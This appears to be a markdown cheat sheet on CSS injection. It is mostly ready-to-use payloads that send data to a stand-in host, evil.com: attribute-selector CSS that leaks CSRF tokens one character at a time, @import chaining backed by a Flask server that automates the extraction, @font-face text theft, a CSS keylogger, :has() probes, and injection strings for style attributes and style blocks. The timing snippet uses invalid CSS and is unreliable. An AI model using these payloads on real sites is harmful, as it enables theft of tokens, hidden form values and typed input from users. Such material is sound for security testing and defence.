Skip to content

Latest commit

 

History

History
152 lines (118 loc) · 4.38 KB

File metadata and controls

152 lines (118 loc) · 4.38 KB

CSS Injection

Data Exfiltration via Attribute Selectors

Steal CSRF tokens, hidden input values, or any HTML attribute character-by-character:

/* If you can inject CSS (via style tag, import, or CSS injection point) */
/* Exfil attribute values one char at a time */

input[name="csrf"][value^="a"] { background: url(https://evil.com/exfil?csrf=a); }
input[name="csrf"][value^="b"] { background: url(https://evil.com/exfil?csrf=b); }
input[name="csrf"][value^="c"] { background: url(https://evil.com/exfil?csrf=c); }
/* ... for each character */

/* After first char confirmed (e.g., "x"), continue: */
input[name="csrf"][value^="xa"] { background: url(https://evil.com/exfil?csrf=xa); }
input[name="csrf"][value^="xb"] { background: url(https://evil.com/exfil?csrf=xb); }
/* ... iterate until full value extracted */

Automated Extraction via @import Chaining

/* Server at evil.com dynamically generates next CSS based on callback */
/* First request loads: */
@import url(https://evil.com/steal?pos=0);

/* evil.com responds with attribute selectors for position 0 */
/* When callback fires for char "x", evil.com generates next import: */
@import url(https://evil.com/steal?pos=1&known=x);
/* This chains automatically until full value is extracted */
# Server-side (Flask) to automate CSS exfil
from flask import Flask, request, Response
app = Flask(__name__)
known = ""

@app.route('/steal')
def steal():
    global known
    c = request.args.get('c', '')
    if c:
        known += c
        print(f"[+] Extracted so far: {known}")

    # Generate CSS for next position
    charset = "abcdefghijklmnopqrstuvwxyz0123456789"
    css = ""
    for ch in charset:
        css += f'input[name="csrf"][value^="{known}{ch}"] {{ background: url(https://evil.com/steal?c={ch}); }}\n'

    return Response(css, mimetype='text/css')

Exfiltrating Text Content (CSS3 + @font-face)

/* Steal text node content using font-face + unicode-range */
/* Create fonts that trigger requests for specific characters */

@font-face {
    font-family: 'exfil';
    src: url(https://evil.com/exfil?c=a);
    unicode-range: U+0061; /* 'a' */
}
@font-face {
    font-family: 'exfil';
    src: url(https://evil.com/exfil?c=b);
    unicode-range: U+0062; /* 'b' */
}
/* ... for each character */

.target-element { font-family: 'exfil', sans-serif; }

Keylogging via CSS

/* Detect typed characters in input fields (limited) */
input[value$="a" i] { background: url(https://evil.com/key?k=a); }
input[value$="b" i] { background: url(https://evil.com/key?k=b); }
/* Works with React/Vue that sync value attribute with state */

Content Exfil via :has() (Modern Browsers)

/* CSS :has() selector enables conditional styling based on descendants */
/* Extract whether certain elements/classes exist on page */

html:has(input[name="admin"][value="true"]) {
    background: url(https://evil.com/is-admin);
}

html:has(.premium-user) {
    background: url(https://evil.com/is-premium);
}

/* Exfil sibling/child relationships */
form:has(input[name="token"][value^="abc"]) {
    background: url(https://evil.com/token-starts-abc);
}

CSS Injection via Unescaped User Input

# Common injection points:
# - Inline style attributes
# - CSS custom properties / var()
# - Theme/color customization features
# - Email templates with user-controlled colors
# - Profile customization (background color, font)

# Injection into style attribute:
# Input: red; background: url(https://evil.com/exfil)
# Rendered: <div style="color: red; background: url(https://evil.com/exfil)">

# Injection into <style> block:
# Input: red;} body{background:url(https://evil.com/exfil)}
# Rendered: <style>.user-theme{color:red;} body{background:url(https://evil.com/exfil)}</style>

# Via @import:
# Input: ;} @import url(https://evil.com/evil.css); .x{

Timing Side-Channel

/* Detect if element exists via CSS animation timing */
/* Load heavy resource only if selector matches */

@keyframes exfil { from {} to {} }

input[name="secret"][value^="x"] {
    animation: exfil 0.1s;
    animation-name: url(https://evil.com/timing);
}

Scriptless Attacks (When CSP blocks JS)

# CSS injection is powerful because:
# - Not blocked by script-src CSP
# - Works even with strict CSP that blocks inline/external JS
# - Can extract CSRF tokens, hidden fields, page content
# - Combine with dangling markup for more power